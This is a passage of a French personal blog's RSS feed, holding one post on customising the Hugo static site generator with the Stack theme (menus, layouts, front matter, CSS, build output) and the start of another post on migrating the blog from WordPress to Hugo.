-70&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        params:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            icon: world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et voilà l&amp;rsquo;entrée Voyage qui apparaît dans le menu avec l&amp;rsquo;icône que j&amp;rsquo;ai choisi :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;101px&#34; data-flex-grow=&#34;42&#34; height=&#34;577&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/voyage.png&#34; width=&#34;243&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Reste à créer le &amp;ldquo;layout&amp;rdquo; défini pour cette page &amp;ldquo;Voyage&amp;rdquo;. Il faudra créer un fichier &lt;code&gt;voyage.html&lt;/code&gt; dans le dossier &lt;code&gt;Hugo/pled/layouts&lt;/code&gt;. Je me suis inspiré du layout de la page archives.html, en l&amp;rsquo;adaptant pour n&amp;rsquo;afficher que les pages de la catégorie &amp;ldquo;Voyage&amp;rdquo; :&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-clike&#34; data-lang=&#34;clike&#34;&gt;{{ define &amp;#34;body-class&amp;#34; }}template-archives{{ end }}&#xA;{{ define &amp;#34;main&amp;#34; }}&#xA;&#xA;    {{ $voyage := site.GetPage &amp;#34;/categories/voyage&amp;#34; }}&#xA;    {{ with $voyage }}&#xA;&#xA;                {{ partial &amp;#34;article-list/tile&amp;#34; $voyage }}&#xA;&#xA;    {{ end }}&#xA;&#xA;{{ $pages := where .Site.RegularPages &amp;#34;Params.categories&amp;#34; &amp;#34;intersect&amp;#34; (slice &amp;#34;Voyage&amp;#34;) }}&#xA;&#xA;    {{ range $pages.GroupByDate &amp;#34;2006&amp;#34; }}&#xA;    {{ $id := lower (replace .Key &amp;#34; &amp;#34; &amp;#34;-&amp;#34;) }}&#xA;&#xA;        {{ .Key }}&#xA;&#xA;            {{ range .Pages }}&#xA;                {{ partial &amp;#34;article-list/compact&amp;#34; . }}&#xA;            {{ end }}&#xA;&#xA;    {{ end }}&#xA;&#xA;    {{ partialCached &amp;#34;footer/footer&amp;#34; . }}&#xA;{{ end }}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Reste à attribuer une image à cette catégorie. Pour ce faire, je crée un dossier &lt;code&gt;Voyage&lt;/code&gt; dans &lt;code&gt;Hugo/pled/categories&lt;/code&gt; dans lequel je copie une image de mon choix ainsi qu&amp;rsquo;un fichier &lt;code&gt;_index.md&lt;/code&gt; avec le contenu suivant :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;title: Voyage&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;description: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Articles à propos de mes voyages&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slug: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;voyage&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;image: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;riziere.png&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;style:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    background: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;#2a9d8f&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    color: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;#fff&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et voilà le résultat en cliquant sur le menu Voyage :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;260px&#34; data-flex-grow=&#34;108&#34; height=&#34;554&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-10-12-29.png&#34; width=&#34;602&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;description&#34;&gt;Description&#xA;&lt;/h4&gt;&lt;p&gt;Avec Hugo, je peux ajouter une description pour chaque article (ça remplace l&amp;rsquo;excerpt de WP avantageusement je trouve). Ce champ description se trouve dans le &lt;a class=&#34;link&#34; href=&#34;https://gohugo.io/content-management/front-matter/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;front matter&lt;/a&gt; en début de chaque fichier &lt;code&gt;.md&lt;/code&gt; où l&amp;rsquo;on peut ajouter les metadata de chaque article.&lt;/p&gt;&#xA;&lt;p&gt;Dans l&amp;rsquo;article de la catégorie Voyage que j&amp;rsquo;ai créé, le &lt;strong&gt;front matter&lt;/strong&gt; est comme ceci :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;title: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Asie 2023 - Présentation&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: 2026-05-04&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slug: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;asie-2023-le-voyage&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;image: carte.png&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;description: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Description du voyage de 2023 : le parcours, les changements qu&amp;#39;il a fallu faire, et les cours de cuisine&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;categories:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - Voyage&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Je souhaite que la description s&amp;rsquo;affiche dans les pages Voyage et Archive, je trouve cela plus clair. On a vu que c&amp;rsquo;est la page &lt;code&gt;/pled/layouts/_partials/article-list/compact.html&lt;/code&gt; qui est utilisée pour ce type de vue. Je la modifie en ajoutant la partie description sous la partie title :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;div class&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;article-details&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &amp;lt;h2 class&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;article-title&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;{{&lt;/span&gt;- .Title -&lt;span style=&#34;color:#f92672&#34;&gt;}}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &amp;lt;/h2&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;{{&lt;/span&gt; with .Params.description &lt;span style=&#34;color:#f92672&#34;&gt;}}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &amp;lt;p class&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;section-description&amp;#34;&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#f92672&#34;&gt;{{&lt;/span&gt; . &lt;span style=&#34;color:#f92672&#34;&gt;}}&lt;/span&gt;&amp;lt;/p&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;{{&lt;/span&gt; end &lt;span style=&#34;color:#f92672&#34;&gt;}}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et voilà le résultat :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;236px&#34; data-flex-grow=&#34;98&#34; height=&#34;611&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-10-39-47.png&#34; width=&#34;602&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Il en sera de même pour la page Archives&amp;hellip;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&#xA;&lt;/h3&gt;&lt;p&gt;Voilà désormais la page d&amp;rsquo;accueil du blog : il commence à ressembler à ce que je souhaite.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;426px&#34; data-flex-grow=&#34;177&#34; height=&#34;1080&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-07-48.png&#34; srcset=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-07-48_hu_4aca6a76835c1ccf.png 800w, https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-07-48_hu_52b438e4108c3daa.png 1600w, https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-07-48.png 1920w&#34; width=&#34;1920&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;La hauteur des images pour chaque article me paraît tout de même un peu grande, je préférerais carrément revenir à ce que j&amp;rsquo;ai sur WP, c&amp;rsquo;est-à-dire une petite image spécifique alignée à gauche et le texte qui commence à la même hauteur :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;436px&#34; data-flex-grow=&#34;181&#34; height=&#34;330&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-39-14.png&#34; width=&#34;600&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mais le thème Stack ne fonctionne pas ainsi, apparemment il prend la première image de l&amp;rsquo;article et en extrait une partie qu&amp;rsquo;il redimensionne pour l&amp;rsquo;afficher comme en-tête&amp;hellip; Ce traitement des images par le thème a l&amp;rsquo;air complexe, et je ne suis pas allé plus loin pour l&amp;rsquo;instant. J&amp;rsquo;ai tout de même trouvé comment réduire facilement la hauteur des images : il suffit de rajouter ce code CSS dans le fichier &lt;code&gt;/Hugo/pled/assets/scss/custom.scss&lt;/code&gt; (là encore, on crée le fichier et l&amp;rsquo;arborescence) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* réduction hauteur images en-tête articles */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;article-image&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;img&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;max-height&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;150&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;!important&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;width&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;!important&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;height&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;auto&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;!important&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;C&amp;rsquo;est déjà un peu mieux à mon goût :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;426px&#34; data-flex-grow=&#34;177&#34; height=&#34;1080&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-37-30.png&#34; srcset=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-37-30_hu_578a566d0a521eb4.png 800w, https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-37-30_hu_b3f5873b620b6dd2.png 1600w, https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-37-30.png 1920w&#34; width=&#34;1920&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion-1&#34;&gt;Conclusion&#xA;&lt;/h3&gt;&lt;p&gt;Voilà, je vais m&amp;rsquo;arrêter là pour l&amp;rsquo;instant, le résultat obtenu est déjà pas mal je trouve. Pour l&amp;rsquo;envoyer sur mon hébergeur, il suffit d&amp;rsquo;arrêter le serveur local, puis de lancer la commande &lt;code&gt;$ hugo&lt;/code&gt; :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ hugo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Start building sites …&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hugo v0.164.0+extended+withdeploy linux/amd64 BuildDate&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;unknown&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WARN  Raw HTML omitted &lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; rendering &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/Backup/Hugo/pled/content/post/asie-2023-le-voyage/index.md&amp;#34;&lt;/span&gt;; see https://gohugo.io/getting-started/configuration-markup/#rendererunsafe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;You can suppress this warning by adding the following to your project configuration:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ignoreLogs &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;warning-goldmark-raw-html&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WARN  Raw HTML omitted &lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; rendering &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/Backup/Hugo/pled/content/post/test-de-galerie-photo.md&amp;#34;&lt;/span&gt;; see https://gohugo.io/getting-started/configuration-markup/#rendererunsafe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;You can suppress this warning by adding the following to your project configuration:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ignoreLogs &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;warning-goldmark-raw-html&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WARN  Raw HTML omitted &lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; rendering &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/Backup/Hugo/pled/content/post/Markdown Syntax/index.md&amp;#34;&lt;/span&gt;; see https://gohugo.io/getting-started/configuration-markup/#rendererunsafe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;You can suppress this warning by adding the following to your project configuration:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ignoreLogs &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;warning-goldmark-raw-html&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WARN  Raw HTML omitted &lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; rendering &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/Backup/Hugo/pled/content/post/shortcodes/index.md&amp;#34;&lt;/span&gt;; see https://gohugo.io/getting-started/configuration-markup/#rendererunsafe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;You can suppress this warning by adding the following to your project configuration:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ignoreLogs &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;warning-goldmark-raw-html&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  │ EN&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;──────────────────┼─────&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Pages            │ &lt;span style=&#34;color:#ae81ff&#34;&gt;101&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Paginator pages  │   &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Non-page files   │  &lt;span style=&#34;color:#ae81ff&#34;&gt;12&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Static files     │  &lt;span style=&#34;color:#ae81ff&#34;&gt;24&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Processed images │  &lt;span style=&#34;color:#ae81ff&#34;&gt;21&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Aliases          │  &lt;span style=&#34;color:#ae81ff&#34;&gt;26&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Cleaned          │   &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Total in &lt;span style=&#34;color:#ae81ff&#34;&gt;219&lt;/span&gt; ms&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cette commande génère toutes les pages statiques en HTML pour pouvoir afficher le site comme il se doit. Pour l&amp;rsquo;instant, je ne tiens pas compte des WARN, ça n&amp;rsquo;a pas l&amp;rsquo;air très important. Une fois ceci fait, il ne reste plus qu&amp;rsquo;à envoyer le contenu du dossier &lt;code&gt;public&lt;/code&gt; sur le site prévu, et le blog est disponible.&lt;/p&gt;&#xA;&lt;p&gt;Cette découverte de Hugo et du thème Stack s&amp;rsquo;est révélée très intéressante. Je suis tout de même arrivé à personnaliser pas mal de trucs assez facilement. J&amp;rsquo;ai vu aussi que certaines parties peuvent être complexes, notamment ces pages HTML qui sont un mix de pur html et de shortcodes Hugo que je ne maîtrise pas du tout pour l&amp;rsquo;instant.&lt;/p&gt;&#xA;&lt;p&gt;Mais c&amp;rsquo;est très prometteur quand même, et tout aussi passionnant. Cela ne fait que m&amp;rsquo;encourager à continuer dans cette voie.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Migrer le blog vers Hugo</title>
            <link>https://pled.fr/migrer-le-blog-vers-hugo/</link>
            <pubDate>Mon, 29 Jun 2026 15:10:37 +0000</pubDate>
            <guid>https://pled.fr/migrer-le-blog-vers-hugo/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;hugo-icon.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Je suis en train de réfléchir sérieusement à migrer mon blog Wordpress vers &lt;a class=&#34;link&#34; href=&#34;https://gohugo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Hugo&lt;/a&gt;, un SSG ( &lt;strong&gt;S&lt;/strong&gt; tatic &lt;strong&gt;S&lt;/strong&gt; ite &lt;strong&gt;G&lt;/strong&gt; enerator) qui offre simplicité et rapidité comparé à &amp;ldquo;l&amp;rsquo;usine à gaz&amp;rdquo; qu&amp;rsquo;est Wordpress. Attention, il ne s&amp;rsquo;agit pas ici pour moi de critiquer WP, je l&amp;rsquo;ai utilisé pendant assez longtemps (~20 ans) et j&amp;rsquo;étais bien content de l&amp;rsquo;avoir. Mais il est vrai que c&amp;rsquo;est assez lourd, avec le PHP, la base de données, les plugins incertains&amp;hellip; Pour un simple blog comme le mien, je n&amp;rsquo;ai honnêtement pas besoin d&amp;rsquo;autant de complexité.&lt;/p&gt;&#xA;&lt;p&gt;Car ce sont autant de surfaces d&amp;rsquo;attaque, avec tout ce code généré ; il suffit d&amp;rsquo;ailleurs de voir le nombre de mises à jour de WP, sans parler de la qualité des plugins que l&amp;rsquo;on a activé sur son site, plus ou moins bien écrits, plus ou moins maintenus, etc&amp;hellip; Avec Hugo et ses pages statiques en HTML, il n&amp;rsquo;y a rien à attaquer car rien ne s&amp;rsquo;exécute. Il ne faut pour autant pas idéaliser la chose, car si on ajoute un système de commentaires (externe), il faudra gérer la question des spams, car Hugo ne propose évidemment rien sur le sujet&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;autre aspect problématique de WP, c&amp;rsquo;est la performance (d&amp;rsquo;où le terme &amp;ldquo;usine à gaz&amp;rdquo; utilisé), et sans un hébergeur qui a toutes capacités de mise en cache et d&amp;rsquo;optimisation en tous genres, le temps d&amp;rsquo;affichage d&amp;rsquo;une page serait vraiment très long. Hugo, en tant que SSG, génère des pages statiques en HTML, et il suffit donc de les envoyer au navigateur, et c&amp;rsquo;est évidemment beaucoup plus rapide :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;439px&#34; data-flex-grow=&#34;183&#34; height=&#34;273&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/migrer-le-blog-vers-hugo/wp-vs-hugo.png&#34; width=&#34;500&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hugo, c&amp;rsquo;est donc le choix de la simplicité : on écrit ses articles en markdown, et Hugo se charge de les convertir en HTML. Il y a certainement moins de possibilités qu&amp;rsquo;avec Gutenberg, l&amp;rsquo;éditeur de WP (encore qu&amp;rsquo;il y a les &lt;code&gt;shortcodes&lt;/code&gt; dans 